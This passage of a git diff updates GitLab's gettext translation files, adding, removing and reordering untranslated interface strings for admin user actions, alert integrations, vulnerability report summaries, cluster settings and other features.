msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/fa_IR/gitlab.po b/locale/fa_IR/gitlab.po
index 9dd8cf854a1..8c311bf6a8e 100644
--- a/locale/fa_IR/gitlab.po
+++ b/locale/fa_IR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: fa\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:41\n"
+"PO-Revision-Date: 2020-12-03 08:09\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
